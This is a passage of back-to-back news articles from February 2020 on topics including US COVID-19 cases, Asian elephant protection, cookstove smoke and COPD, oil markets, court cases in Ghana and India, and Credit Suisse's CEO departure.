infected with COVID-19, according to reports. Coronavirus has affected 75,465 people and killed 2,236 as of Friday, according to the National Health Commission. China plans to ban its wild animal trade and tighten supervision on "wet markets," which is where the coronavirus was reported to have started, although subsequent research cast doubt over that finding. Read the original article on Business Insider Thirty-four patients have tested positive for the new coronavirus in the United States, federal officials said on Friday, after another patient tested positive late Thursday. Twenty-one of the patients were repatriated from foreign countries by the State Department. Groups were quarantined at military bases after being repatriated from the Diamond Princess cruise ship, where hundreds of infections emerged, and Wuhan, China, where the virus first emerged in December 2019. All but three of the 21 patients were passengers on the ship, which is docked in Yokohama, Japan, the Centers for Disease Control and Prevention (CDC) said. The other 13 patients werent among the groups that were repatriated. The number is one less than the number that the CDC has listed on its website as of Friday afternoon. The last patient to test positive was in Humboldt County, California. That patient returned from mainland China, Dr. Nancy Messonnier, a top CDC official, told reporters in a phone call on Friday. The Department of Health and Human Services said that a close contact of the patient is showing symptoms and is being tested. Both are doing well and self-isolating at home, the department said in a statement. The majority of the cases, both among repatriated persons and the other category, are in California. All the cases among the non-repatriated persons have appeared in people who recently returned from China or among people who had close contact with people who recently traveled to China. The CDC is now breaking out the number of cases among those repatriated from Japan or China and counting them separately from the rest because the former group doesnt reflect transmission and risk in general in the U.S., Messonnier said. Because passengers on the Diamond Princess were in a close setting with others, including people who tested positive for the virus, U.S. officials expect to see additional cases of COVID-19, the disease the virus causes, among them. Many of those repatriated are over the age of 60, meaning they might experience other medical issues requiring hospitalization. Officials believe its possible, even likely that community spread of the virus may happen, Messonnier said, adding that officials are making plans to deal with such a spread. Local spread of the virus has started in countries outside China, including Japan and South Korea. Noting that schools and businesses have been shutting down in some parts of Asia, the director of the CDCs Center for the National Center for Immunization and Respiratory Diseases told reporters: The day may come when we will need to take such measures in the United States. Infected Patients Allowed to Board Plane Officials were pressed on the decision to include patients who tested positive on the repatriation of the Diamond Princess passengers. Samples from the passengers were obtained 48 to 72 hours before the passengers boarded the State Department-charted plane, Ian Brownlee, an acting assistant secretary for the department, told reporters. The results came in as the passengers were on buses on their way to the airport, Dr. William Walters, another State Department official added. Then the lab results showing positive results among people not showing symptoms came in. The patients were moved into an isolated area at the back of the plane, State Department officials said earlier this week. Plastic was dropped on all four sides of a block of 18 seats, with one entrance and one exit. That both protects the rest of the passengers and the rest of the crew from any spread. Every interaction with passengers that are inside the isolation area is very deliberate, its veryits planned, and its done very carefully, Walters told reporters on Tuesday. The decision to let the infected patients onto the plane was made by State Department officials. The decision, I think, was the right one in bringing those people home, Walters said. These are difficult decisions that were faced with everyday and were making those decisions in real time, Messonnier added. Americans considering traveling overseas shouldnt view such repatriation flights as standard practice by the U.S. government, Brownley warned, advising Americans to reconsider travel by cruise ship to, in, or from Asia. From The Epoch Times WASHINGTON, Feb. 21, 2020 /PRNewswire/ -- There was an important win for Asian elephants this week at the 13th Conference of the Parties (CoP) of the UN Convention on the Conservation of Migratory Species of Wild Animals (CMS) in Gandhinagar, India, as governments accepted a proposal to list the species for the first time to protect it. Classified as Endangered by the IUCN Red List, Asian elephants suffer threats from habitat loss and fragmentation as well as illegal killing for their ivory and other products, such as skin, which has fuelled poaching to supply a growing demand for elephant skin jewellery. In addition, Asian elephants are regularly victims of retaliatory attacks due to human-elephant conflict and can be killed by contact with human infrastructure, such as collisions with trains. Attending government representatives of the 130 member parties to CMS accepted by consensus a proposal by host country India to list the mainland Asian elephant on Appendix I affording it the highest protection possible. India also announced its intention to work with other Asian elephant range states to form a regional agreement with collective actions to safeguard the iconic animal. Matt Collis, IFAW Director, International Policy, and head of IFAW's delegation at CMS, welcomed the decision, saying: "We are very pleased with the outcomes for Asian elephants, which have long been in need of concerted efforts to safeguard them for future generations. Elephants traverse many states in Asia without recognising borders and IFAW hopes that countries will come together to do everything possible to ensure they have safe passage as they migrate between states. There is great momentum to see this key species protected and IFAW hopes the decisions taken for Asian elephants at CMS today will help ensure that people and animals thrive together in the place they call home." While India is home to 60% of Asian elephants, some of these animals regularly cross borders into neighbouring states, such as Bangladesh, Bhutan, Myanmar and Nepal, and for populations outside of India, many cross other international boundaries where they face a range of threats. Several of these small transboundary populations are critical if the species is to survive in states beyond India. The Asian elephant the continent's largest terrestrial mammal - also suffers a gender imbalance due to historical poaching of males for their ivory, as only male Asian elephants have tusks. It is estimated that the Asian elephant population is now below 40,000 after suffering a 50% decline over the last 75 years. Although many Asian countries are not members of CMS, regional agreements with collective actions can include CMS member and non-member states, and the hope is that many Asian elephant range states will now work more closely together to protect this species. The future of many other migratory species will be affected by decisions taken at this meeting, which began on Monday and is scheduled to run until Saturday (22). Other key species also due to be considered for listing today include jaguars and oceanic whitetip sharks. For more information or to arrange interviews with IFAW experts in Gandhinagar please contact Clare Sterling on mobile +44 (0)7917 507717 or email [email protected]. Skype interviews can be arranged on request. About the International Fund for Animal Welfare (IFAW) - The International Fund for Animal Welfare is a global non-profit helping animals and people thrive together. We are experts and everyday people, working across seas, oceans and in more than 40 countries around the world. We rescue, rehabilitate and release animals, and we restore and protect their natural habitats. The problems we're up against are urgent and complicated. To solve them, we match fresh thinking with bold action. We partner with local communities, governments, non-governmental organisations and businesses. Together, we pioneer new and innovative ways to help all species flourish. See how at ifaw.org SOURCE International Fund for Animal Welfare Related Links http://www.ifaw.org Feb. 21, 2020- Traditional stoves that burn biomass materials and are not properly ventilated, which are widely used in developing nations where cooking is done indoors, have been shown to significantly increase indoor levels of harmful PM2.5 (miniscule atmospheric particulates) and carbon monoxide (CO) and to stimulate biological processes that cause lung inflammation and may lead to chronic obstructive pulmonary disease (COPD), according to new research published online in the Annals of the American Thoracic Society. In "Pro-Inflammatory Effects in Ex Vivo Human Lung Tissue of Respirable Smoke Extracts from Indoor Cooking in Nepal," Professor Ian P. Hall of the University of Nottingham, UK led a study of the pulmonary effects of traditional cook stoves (TCS), in comparison with improved, ventilated stoves (ICS) and liquid petroleum gas (LPG) stoves. Field research was led by Siva Praveen Puppala, PhD, of Nepal's International Centre for Integrated Mountain Development. Why conduct the study in Nepal? "I have had links with Dhulikhel Hospital in Kathmandu for seven years," Prof. Hall explained. "When on hospital rounds, I noticed a lot of admissions for COPD, both men and women. Nepalese men smoke, but women generally don't, while they are also traditionally the family cooks. I was interested in why women were getting COPD, and the most obvious question to explore was whether it was due to indoor biomass smoke, so we decided to study these exposures." The researchers measured personal exposures to PM2.5 and CO during cooking on a range of stoves in 103 households in four different Nepalese villages, each village at a different elevation (from 200 to 4,000 meters above sea level), and took measurements outdoors as well as indoors when cooking was not being done. They also exposed surgically removed lung tissue to soluble smoke samples collected during cooking, and then applied the samples to the tissue and tested it for 17 different inflammatory substances. There would not be any CO in these extracts, so the researchers only looked at other components of the extracts. Increased levels of 7 of 17 inflammatory substances occurred in the lung tissue following TCS biomass smoke exposure. Cooking with the improved cook stove still caused an inflammatory response related to six of these substances. LPG cooking activated two inflammatory substances. Study authors believe these elevated levels during ICS and LPG cooking may be due to inflammation-causing substances not tested for. "Little was previously known about the mechanisms underlying the lung's response to biomass smoke," said Dr. Hall. "Now, we have shown, for the first time, that biomass smoke samples collected in a real-life environment from rural Nepal have pro-inflammatory effects on human lung tissue. These exposures, which induce lung inflammation, may partially explain the increased risk of COPD in these communities." Lung inflammation is a major cause of COPD. More than 90 percent of deaths from COPD are in low and middle-income countries, and COPD has a high incidence rate in the regions of Nepal studied. The researchers found that the overall average PM2.5 exposure was reduced by 51 percent in homes that used ICS and by 80 percent in households using LPG stoves, in comparison with traditional stoves. Exposures to particulates in different locations while cooking with traditional stoves were 5-29 fold higher than 24-hour World Health Organization (WHO) exposure standards. Even the reduced exposures to PM2.5 using either ICS or LPG were higher than WHO recommended levels. Higher particulate levels were also found in higher elevations. The indoor CO concentration was reduced by 72 percent and 86 percent, respectively, in households using ICS and LPG. All cooks who used TCS exhaled higher levels of CO while they were cooking than when they were not. The traditional biomass stoves, which are used by 80 percent of the Nepalese population and widely used in low and middle-income nations throughout the developing world, burn wood, crop residues or dried dung. Cooking is done on open fires in rooms without a chimney or proper ventilation. Improved biomass stoves, which have improved compression systems and/or vent fumes through a chimney, have been tried in some villages. Twenty-one percent of Nepalese homes use liquefied petroleum gas stoves, which burn a mixture of propane, butane and isobutane. "These data support the need to reduce exposures in order to improve respiratory health in this setting," stated Dr. Hall. "Additional methods other than those being tried may be needed to reduce exposures to levels that will prevent lung inflammation and reduce the risk of developing COPD." ### About the Annals of the American Thoracic Society The AnnalsATS is a peer-reviewed journal published by the American Thoracic Society. The Journal delivers up-to-date and authoritative coverage of adult and pediatric pulmonary and respiratory sleep medicine and adult critical care. The scope of the Journal encompasses content that is applicable to clinical practice, the formative and continuing education of clinical specialists and the advancement of public health. The journal's impact factor is 4.026. Editor: Colin Cooke, MD, MS, associate professor in the department of internal medicine at the University of Michigan. About the American Thoracic Society Founded in 1905, the American Thoracic Society is the world's leading medical association dedicated to advancing pulmonary, critical care and sleep medicine. The Society's 15,000 members prevent and fight respiratory disease around the globe through research, education, patient care and advocacy. The ATS publishes three journals, the American Journal of Respiratory and Critical Care Medicine, the American Journal of Respiratory Cell and Molecular Biology and the Annals of the American Thoracic Society. The ATS will hold its 2020 International Conference, May 15-20, in Philadelphia, Pennsylvania, where world-renowned experts will share the latest scientific research and clinical advances in pulmonary, critical care and sleep medicine. By Kim Hyun-bin BWI has unveiled Schon Brunno spring bar pliers that are capable of easily and safely replacing watch bands. The new pliers were made in collaboration with HOROFIX, a well-known brand that specializes in watch tools. The pliers are of the same quality as other HOROFIX-developed tools and are competitively priced. Schon Brunno spring bar pliers are suitable for watch lovers who regularly like to replace their metal watch bands. The pliers are compact and the anodized color designs make them portable and eco-friendly. Color availability depends on the build option: aluminum models come in red, blue and black, while plastic models are offered in white green, white blue and red white. "The Schon Brunno spring bar pliers offer the same quality as other competitive brands that cost hundreds of dollars, so we hope they can become popular among watch enthusiasts," a BWI official said. Schon Brunno is a well-known watch band maker and is famous for its designs, which were inspired by the Schonbrunn Palace in Vienna, Austria. Schon Brunno develops watch bands, watch cases and spring bar pliers. FILE PHOTO: Oil pours out of a spout from Edwin Drake's original 1859 well that launched the modern petroleum industry By Alex Lawler LONDON (Reuters) - The oil market's pricing structure signals a potential tightening in supplies from a surge in demand as fears about the impact of the coronavirus subside and following tighter U.S. sanctions on Venezuelan exports. Brent crude futures for nearby delivery are trading at a premium to future months, a structure called backwardation, which usually points to supplies tightening up. The six-month Brent spread from April to October has widened to around $1.32 barrel, up from below zero on Feb. 14. This marks a turnaround from earlier in February when the coronavirus outbreak had pushed Brent into the opposite structure, when prompt prices fell below forward prices, known as contango, for the first time since July 2019. The contango suggested the market was anticipating a fall in oil demand from China, the world's second biggest oil consumer, because of the coronavirus impact. But a slowdown in new cases of the virus and China's move to cut its benchmark lending rate on Thursday have eased these worries. "Markets are anticipatory," said a Brent futures trader. "What the backwardation is saying is that China is getting the situation under control and when Beijing restarts its economy demand will come roaring." On the supply side, Washington's move this week to sanction a trading unit of Russian oil firm Rosneft for its ties with Venezuela's state-run PDVSA could put a tighter rein on exports from the country, an OPEC member. This could further tighten global supplies already limited by a near halt in Libyan flows and voluntary curbs by the Organization of the Petroleum Exporting Countries (OPEC) and its allies, which may be deepened at their next meeting in March. "We are still trading around the coronavirus. Sentiment is a bit more balanced than it was 10 days ago," said Olivier Jakob, analyst at Petromatrix. "It puts a bit of a question mark about supplies from Venezuela," he said of the U.S. sanctions. Story continues The move into contango had analysts looking for floating storage opportunities which would allow traders to buy relatively cheap oil now and re-sell it at a profit later, a window that now appears to have closed. As Brent's structure now points to a potential tightening in supplies, its outright price has also risen towards $60 a barrel, up from $53 on Feb. 10. "The current upswing is due to easing concerns about the spread of the coronavirus," said Carsten Fritsch, analyst at Commerzbank. "What is more, there appear to be concerns that the U.S. sanctions imposed on a Rosneft trading unit could deter foreign buyers." (Editing by Jane Merriman) Gershon Akpah, a civilian employee of the Ghana Armed Forces (GAF) who was accused of being part of an alleged coup plot has been discharged by the Kaneshie District Court. Akpah was set free on Thursday, February 20, 2019, after state lawyers decided not to prosecute him as part of the 10 people alleged to have hatched a plan to overthrow the government. The number of accused persons will, however, remain 10 as state lawyers have charged another civilian employee of the GAF, Johannes Zikpi, in connection with the alleged coup plot. Other accused persons are Colonel Samuel Kodzo Gameli, Assistant Commissioner of Police (ACP) Dr Benjamin Agordzor, Warrant Officer II Esther Saan Dekuwine, Corporal Seidu Abubakar, Lance Corporal Sylvester Akanpewon. The rest are Dr Frederick Yao Mac-Palm, a medical practitioner; Donyo Kafui, alias Ezor, a blacksmith; Bright Alan Debrah, a fleet manager. The 10 individuals were accused of being members of Take Action Ghana (TAG), a group alleged to have hatched a plan to destabilise the country and possibly take over the government. Tears of joy It was music to the ears of Akpah and his sympathisers in the courtroom when Ms Hilda Craig, a Senior State Attorney, informed the court that the state was no longer interested in prosecuting him and, therefore, he should be discharged. We wish to withdraw the charges against Gershon Akpah. We pray the court to discharge him accordingly, the Senior State Attorney said. The magistrate, Mrs Eleanor Kakra Banes Botchway, therefore, set Akpa free after striking out the charges against him as withdrawn. Akpa could not contain his emotions as he broke down after he was set free. After the hearing, some of his sympathisers praised God for the new status of their beloved. Committal Meanwhile, state lawyers have officially filed the bill of indictment which contains the charges against the 10 accused persons. Committal proceedings are, therefore, expected to commence at the Kaneshie District Court on March 3, 2020. During the committal proceedings, state lawyers will read out the charges against the 10 accused persons and also present the facts as gathered by the prosecution. They will also present the summary of the evidence which will be used to prosecute the accused persons in the event they are committed to stand trial at the High Court. After the state has presented its case, the accused persons or their lawyers will be called upon to speak. When this is done, the magistrate will look at the case of the prosecution and the evidence before her and make a prima facie determination of whether or not the accused persons have a case to answer. In the event the magistrate decides that there is a case for the accused persons to answer, she will indict them to stand trial at the High Court. Alleged plot Prosecutors have accused the 10 of being part of a group known as TAG, a non-governmental organisation (NGO) which is alleged to have planned to embark on demonstrations against the government and possibly take over the government. It is also the case of the prosecution that a map found in the possession of the accused persons showed some important state installations, such as the Jubilee House, the Ghana Broadcasting Corporation (GBC), Burma Camp, the 37 Military Hospital and the National Police Training School, which it had targeted. Source: Daily Graphic Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A man has been acquitted of the charges of raping his wife, having unnatural sex with her and forcing her into prostitution as she died before her testimony could be recorded. Additional Sessions Judge Umed Singh Grewal acquitted the man as the medical examination reports also did not prove the allegations. "The net result is that the victim could not appear in the witness box before death. The prosecution did not cite any other star witness (key witness)... It is held that prosecution has failed to prove the case against the accused beyond reasonable doubt. Hence, the accused is acquitted of the offences he was charged with," the court said in its order. The order does not mention the cause of woman's death. According to the prosecution, the accused had allegedly asked his wife to indulge in prostitution just a month after their marriage in 2011 and he badly beat her up when she refused. It alleged the man kept pressuring his wife also thrashed her until she gave in. The prosection further claimed that whenever she resisted, her husband would threaten to kill her and her family members. The complaint alleged that he also forced her to have unnatural sex with him. The woman, assisted by an NGO official, lodged a police complaint in 2015 and a case was registered under sections 376 (rape), 377 (unnatural sex) 506 (criminal intimidation) of the Indian Penal Code and relevant sections of the Immoral Traffic (Prevention) Act. The accused pleaded not guilty and had sought trial. During the trial, the investigating officer informed the court that when she visited the woman's home to serve summons for her appearance in 2018, her father told her that the woman had died in 2017. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By John O'Donnell and Koh Gui Qing FRANKFURT/ NEW YORK (Reuters) - Credit Suisse Chief Executive Tidjane Thiam, ousted over a spying scandal, stands to collect as much as 30 million Swiss francs ($30 million) after resigning this month, two people familiar with the matter said. The compensation for Thiam, including pay, bonus and stock options, marks the end of a five-year reign at Switzerland's second-largest bank that ended after a split with the chairman following revelations of spying on top managers. Thiam has denied any knowledge of staff surveillance, which first came to light in September when former executive Iqbal Khan confronted a private detective who was following him through Zurich. The package would make Thiam, who has on average been awarded roughly 10 million francs annually by the bank in the three years to 2018, one of the highest-paid European bank chiefs. Credit Suisse declined to comment. High executive payouts at the bank have irked its investors, prompting a protest in 2017. During Thiam's tenure, its share price has fallen by almost half as it raised fresh funds from investors. Thiam, however, is entitled to the money because he is resigning from the bank this week officially on good terms, which means there is no need for the management board to dock his pay. He nonetheless departs under a cloud. Although Credit Suisse cleared Tidjane of snooping on former star manager Khan, the suicide of a private investigator involved and the emergence of a second spying case as it sought to draw a line under the first sparked an outcry in Switzerland. The scandal rattled faith in the Swiss bank, a pillar of the local economy that was founded to finance the building of the nation's rail network that tunnels through the Alps. Credit Suisse has said Thiam was unaware of the surveillance and that former Chief Operating Officer Pierre-Olivier Bouee, a longtime Thiam aide, initiated it in a solo run. He was since fired and has not commented publicly. Story continues Ultimately chairman Urs Rohner won board backing to ask Thiam to leave, according to people with direct knowledge of the matter. For many investors, Thiam leaves behind a mixed legacy. "He took out 4 billion francs of costs. That was critical," said Andreas Venditti, an analyst at Vontobel. "On the downside, he had to cut his original targets because they were too optimistic." As he handed over to his successor on Thursday at a press conference, Thiam took issue again with what he described as false reports, including one that he had chartered helicopters for work. "I've given five years of my life to this company, it's not nothing," he said. "Now I'm going to go and get some rest." (Reporting By John O'Donnell; Editing by Jan Harvey) Joaquin Phoenix helped save a mother cow and her newborn calf from the slaughterhouse just one day after he advocated for animal rights in his Oscars acceptance speech. The 45-year-old actor was filmed rescuing the cow and her calf from the Manning Beef slaughterhouse in the Los Angeles neighborhood of Pico Rivera the day after he accepted his best actor Oscar for Joker. Footage of the rescue, which was posted online on Wednesday, showed him carrying the calf into a transport trailer so the animals could be taken to a nearby animal preserve run by non-profit organization Farm Sanctuary. Phoenix named the mother cow Liberty and her calf Indigo. In a clip of the rescue, Phoenix and representatives from the Los Angeles Animal Save group were filmed speaking with the president and CEO of the slaughterhouse, Anthony Di Maria. The A-list actor spoke to Di Maria about industry practice but they disagreed on if the term for the fate of the animals should be 'harvested' or 'murdered'. Walking the walk: Joaquin Phoenix helped save a mother cow and her calf from the slaughterhouse the day after he drew light to the issue of farming industry practices regarding mother cows during his acceptance speech at the Oscars Aww! The Walk the Line actor named the mother Liberty and the child Indigo Phoenix later issued a statement via the Los Angeles Animal Save group, commending Di Maria for releasing the two animals. 'I never thought I'd find friendship in a slaughterhouse, but meeting Anthony and opening my heart to his, I realize we might have more in common than we do differences,' he said. 'Without his act of kindness, Liberty and her baby calf, Indigo, would have met a terrible demise.' 'My hope is, as we watch baby Indigo grow up with her mom Liberty at Farm Sanctuary, that we'll always remember that friendships can emerge in the most unexpected places; and no matter our differences, kindness and compassion should rule everything around us.' Phoenix also acknowledged the animal advocates he worked with in the effort to liberate the cow and calf. 'Although we will continue to fight for the liberation of all animals who suffer in these oppressive systems, we must take pause to acknowledge and celebrate the victories, and the people who helped achieve them,' he said. 'Shaun Monson, Amy Jean Davis, and the entire LA Animal Save community, have taken their pain of bearing witness and turned it into effective, diplomatic advocacy for the voiceless. As a result, Liberty and Indigo will never experience cruelty or the touch of a rough hand.' Focused: The Oscar-winning actor has made animal rights a major priority Back and forth: Phoenix had a cordial discussion with Manning Beef president and CEO, Anthony Di Maria about industry practices, though the duo disagreed on if the term for the fate of the animals should be 'harvested' or 'murdered' Helping hand: The veteran actor helped carry the calf into the back of a trailer Phoenix is notorious for his environmental activism and is an outspoken advocate for veganism. The rescue came just one day after he took to the stage at the Academy Awards on February 9 and delivered a ranting acceptance speech about animal rights and how he was grateful to be able to be a voice for the voiceless. 'I've been thinking a lot about some of these distressing issues we've been facing collectively... We're talking about the fight against the belief that one nation, one people, one race, one gender, or one species has the right to dominate, control and use and exploit another with impunity,' Phoenix said in his long-winded speech. 'I think we've become very disconnected from the natural world. Many of us are guilty of an egocentric world view, and we believe that were the center of the universe. We go into the natural world and we plunder it for its resources. 'We feel entitled to artificially inseminate a cow and when she gives birth we steal her baby, even though her cries of anguish are unmistakable. And then we take her milk that's intended for her calf and we put it in our coffee and our cereal.' Platform: In his Academy Awards acceptance speech, Phoenix said he was grateful to be able to be a voice for the voiceless 'And I think we fear the idea of personal change because we think we have to sacrifice something to give something up, but human beings at our best are so inventive and creative and ingenious and I think when we use love and compassion as our guiding principles, we can create, develop and implement systems of change that are beneficial to all sentient beings and to the environment,' he added as the crowd erupted in raucous applause. Phoenix said 'an egocentric worldview - the belief that we're the center of the universe' had led to the earth's resources being plundered. He had earlier taken to the red carpet in the same Stella McCartney suit he has been wearing all season long to advocate for minimal waste. Following his Oscars win, Phoenix and his fiancee Rooney Mara celebrated by eating vegan burgers at LA's Montys Good Burger. The actor was also behind the vegan-only menu that was served at this year's Golden Globes ceremony. He thanked the Hollywood Foreign Press when he accepted the Golden Globe for best actor for Joker and praised them for making the 'bold move' to cater an entirely plant-based meal. M ore than $200,000 has been raised to send a bullied Australian schoolboy with dwarfism on a dream trip to Disneyland. A video of nine-year-old Quaden Bayles was uploaded to Facebook by his mother, showing the schoolboy in tears , after he was picked on at school. The clip, which has been viewed more than 16 million times, led to an outpouring of support from around the world. A Go-Fund Me page was set up by US comedian Brad Williams to send the boy, from Queensland, to Disneyland. Comedian Brad Williams launched the fundraiser with a $10,000 target / Getty Images By Friday afternoon, it had surpassed the $10,000 and had reached nearly $250,000. Williams said: "This isn't just for Quaden, this is for anyone who has been bullied in their lives and told they weren't good enough. "Let's show Quaden and others that there is good in the world and they are worthy of it." Bayles was born with a condition called achondroplasia dwarfism, which Williams also lives with. Hugh Jackman Speaks Out In Support Of Quaden Bayles The Greatest Showman and Wolverine actor Hugh Jackman also reached out to Bayles, posting a video saying: "Quaden, you are stronger than you know mate, and no matter what, youve got a friend in me. "So, everyone lets please be kind to each other, bullying is not OK. "Life is hard enough, so lets remember, every person in front of us is facing some kind of battle, so lets just be kind." Commenting on the video, Mark Hamill, who played Luke Skywalker in Star Wars, said: "The cruelty is as astonishing as it is heartbreaking." No one needs to fear about the CAA and the NPR is not going to throw anyone out of the country, Maharashtra Chief Minister said here on Friday, after meeting Prime Minister Narendra Modi. This was Thackeray's first meeting with Modi after taking over as the chief minister of Maharashtra. Thackeray's Shiv Sena was earlier a part of the BJP-led NDA, but formed the "Maha Vikas Aghadi" government in Maharashtra with the Congress and the Nationalist Congress Party (NCP) after parting ways with the saffron party. "I had a good discussion with the prime minister over issues concerning Maharashtra. I also discussed the CAA, NPR and NRC with the prime minister. No one needs to fear about the CAA. The NPR is not going to throwanyone out of the country," Thackeray told reporters after the meeting with the prime minister. He also denied that there was any friction among the constituents of the "Maha Aghadi", while asserting that the Maharashtra government will complete its five-year term. The Congress and the NCP are reportedly miffed over the chief minister's stand on NPR and CAA. "There is no friction among the allies. We are going to run the government for five years," Thackeray said. He also said the prime minister had assured him of extending all cooperation to the Maharashtra government. By PTI AHMEDABAD: A reception committee headed by Ahmedabad Mayor Bijal Patel has been formed to look after various aspects of US President Donald Trump's visit here on February 24, Gujarat Chief Minister Vijay Rupani said on Friday. Rupani told reporters that 'Swagat Samiti' has been give the task for Trump's welcome and preparations regarding the visit. "Today, a Swagat Samiti (committee) under the chairmanship of city mayor has been formed. It also has two members of Parliament, some Padma awardees and also prominent citizens. The committee has been given the task for Trump's welcome and preparations regarding it (visit)," Rupani said when asked if he was aware about such a Samiti. On Thursday, MEA spokesperson Raveesh Kumar told media persons that the Donald Trump Nagarik Abhivadan Samiti is the organiser of the event. After the MEA statement,Congress spokesperson Randeep Surjewala had asked Prime Minister Narendra Modi to explain who all are in this Samiti. "Dear P.M, Intriguing news from @MEAIndia ! Pl state- 1. Who is the President of Donald Trump Abhinandan Samiti? 2. When was the invitation extended to U.S President & accepted? 3. Why is President Trump then saying you have promised him a grand event with 7 million people?" Surjewala had tweeted. "Why is Gujarat Govt then spending Rs 120 Crore for a 3-hour event organized by an unknown Pvt entity? India values its visiting dignitaries but pl note- Diplomacy is serious govt business & not a series of photo-ops & event management tactics," he added. Meanwhile, the mayor's office said Bijal Patel is the chairperson of the Abhivadan Samiti mentioned by the MEA. "Honorable Mayor Bijal Patel is the Chairperson of Donald Trump Nagrik Abhivadan Samiti," the mayor's office tweeted. Nearly 35 years after a man was found shot, strangled and left in a wicker trunk in Bergen County, authorities have arrested a New York City man originally suspected of the violent crime. David Garrido, 66, of Manhattan, was arrested Wednesday and charged with the murder of Ricardo Brown, 29, also of New York, whose body was found on the side of an East Rutherford road in 1985, Bergen County Prosecutor Mark Musella said in a Thursday afternoon statement. Browns body was found wrapped in plastic inside the trunk near Madison Circle Drive on June 25, 1985, the statement said. A medical examination determined hed been shot once in the head and strangled before being stuffed inside the trunk. Brown had been reported missing just a week earlier by his common-law wife, the statement said. The initial investigation pointed to Garrido as a person of interest. The next month, in July, officers executed a search warrant at Garridos New York home, where they were able to gather evidence. But no arrests were made. In the past year, the North Jersey Regional Cold Case Task Force teamed up with the New York Police Departments cold case unit to renew the investigation. The joint investigation revealed that Brown had been dealing drugs and Garrido was a customer, the statement said. Brown and Garrido had been together just before Browns disappearance. It was then that Garrido shot Brown before getting rid of his body, Musellas statement alleges. Garrido is being held in a jail in New York City pending his extradition to Bergen County. Rodrigo Torrejon may be reached at rtorrejon@njadvancemedia.com. Follow him on Twitter @rodrigotorrejon. Find NJ.com on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. After the mistake was reported to the pharmacy board, an investigator for the state checked 200 prescriptions at the Owasso pharmacy for accuracy and found a 9.5 percent error rate, according to the complaint. Some errors were minor like portions of directions that were missing but others were more significant. A patient was told to take the wrong dose, for instance: one tablet instead of one-half. The board wrote in the complaint that it had received several letters of concern from various CVS employees regarding the lack of adequate staffing at the companys pharmacies. Across the country, pharmacists who work at CVS and elsewhere have reported that their corporate offices have cut the hours of technicians who help behind the counter, and have pared back or eliminated shifts with overlapping pharmacists. The Oklahoma investigator, who was at the Owasso CVS for three and a half hours, noted that the phone rang almost constantly, with rarely a five minute break in between calls and several instances of more than one line ringing at a time, according to the complaint. The investigator also observed almost constant foot traffic in the store and a routinely packed drive-through. The complaint states that on the day of the error involving the anticonvulsant medication, the pharmacist on duty was responsible for checking 194 prescriptions in a six-hour shift about one every two minutes. The stores lead pharmacist told the state board that he had no control over staffing. He had complained about staffing to his district leader, but the district leader also had no power to make changes, according to the complaint. Burma Myanmar Parliament Sets Debate for Charter Reform, Caps Military Participation Lawmakers take their seats ahead of a Union Parliament session in January. / Htet Wai / The Irrawaddy YANGONThe Union Parliament announced on Friday that it will debate bills to amend the 2008 Constitution on Feb. 25 and that only one-third of military lawmakers who registered for the debate will be allowed to take part. The debate is expected to finish on March 5. A total of 282 lawmakers164 from the military, 69 from the ruling National League for Democracy (NLD) party and 49 from ethnic partiesregistered earlier this week to take part in the debate. However, the Union Parliament speaker has limited the number of participants to 149. According to the list released on Friday, 50 lawmakers will participate from both the military and the NLD and 49 will join from ethnic parties. The NLD will be allowed 19 fewer lawmakers than it had registered. Lawmakers will be allotted eight minutes each to present their arguments in the debate, rather than the six minutes normally allotted for parliamentary debate. The NLD-led charter amendment committee has submitted two bills and the military and the Union Solidarity and Development Party have submitted five. The Joint Bill Committee has reorganized the bills into two groups, with a total of 142 proposed amendments, which the Parliament will debate at the same time. The first group consists of amendments covered by Article 436 (a), which currently requires some amendments to be approved by more than 75 percent of Parliament as well as over 50 percent of voters in a popular referendum in order to pass. The second group consists of amendments covered by Article 436 (b), which states that some amendments to the charter must be approved by more than 75 percent of Parliament but do not require a referendum. Lawmakers are expected to exercise caution to avoid comments in their debate that can be disrespectful to a particular political party, institution, individual or ethnic group, Union Parliament Speaker T Khun Myat urged the Parliament on Friday. You may also like these stories: This Week in Parliament Charter Amendment Committee Submits Two Bills to Myanmar Parliament Calling for Reduced Role for Military Myanmar Parliamentary Committee Finalizes Proposed Changes for Undemocratic Constitution The Noida Police has launched a dedicated WhatsApp number, inviting suggestions from citizens for improving its services, officials said. The number -- 8800845816 -- should be used only for text messages and not phone calls, the police requested the public as it rolled out the service on Thursday. "People can use this helpline to inform the police about locations and spots where patrolling needs to be improved and make other suggestions like traffic issues also," the police said in a statement, hoping the feedback would help improve services. However, for emergency situations, the people should continue using the 112 number only, the police said. A team of officials has been constituted that would monitor WhatsApp messages and SMSes sent on this number and further action would be taken based on that, according to officials. The Uttar Pradesh government had on January 13 approved the commissionerate police system for Gautam Buddh Nagar (Noida) along with Lucknow, the first two cities in the state to have such a system which gives more autonomy to the police and magisterial powers. Eventually the strength of the force also increased and currently the Noida Police has over 3,850 personnel and multiple IPS officers led by Commissioner Alok Singh, the officials said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Two Indian nationals have been arrested by the US border patrol authorities in connection with a failed smuggling attempt. The Border Patrol agents last week stopped a vehicle in Bombay in New York and during the stop, the agents confirmed that the occupants were citizens of India who entered the US illegally and not from a designated port of entry. Both were transported to the Border Patrol Station for processing and one subject was charged with the improper entry. The driver, a citizen of India who also entered illegally previously, was charged with alien smuggling, a felony, which carries a penalty of a fine and up to 5 years in prison for each violation. "Border Patrol Agents of the Massena Station are vigilant and work hard day and night to apprehend smugglers who profit through illicit cross border activity," Massena Station Patrol Agent in Charge Wade Laughman said, adding that the incident is just one example of many recent smuggling events that have been thwarted in the Massena Station area of operation. The Swanton Sector is responsible for securing the land border between ports of entry in Vermont, New Hampshire and northeastern New York. The US Customs and Border Protection is the unified border agency within the Department of Homeland Security charged with the management, control and protection of our nation's borders at and between official ports of entry. The CBP is charged with securing the borders of the United States while enforcing hundreds of laws and facilitating lawful trade and travel. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) WASHINGTON Richard Grenells tenure as the nations top intelligence official may be short-lived, but he wasted no time this week starting to shape his team of advisers, ousting his offices No. 2 official a longtime intelligence officer and bringing in an expert on Trump conspiracy theories to help lead the agency, according to officials. Mr. Grenell has also requested the intelligence behind the 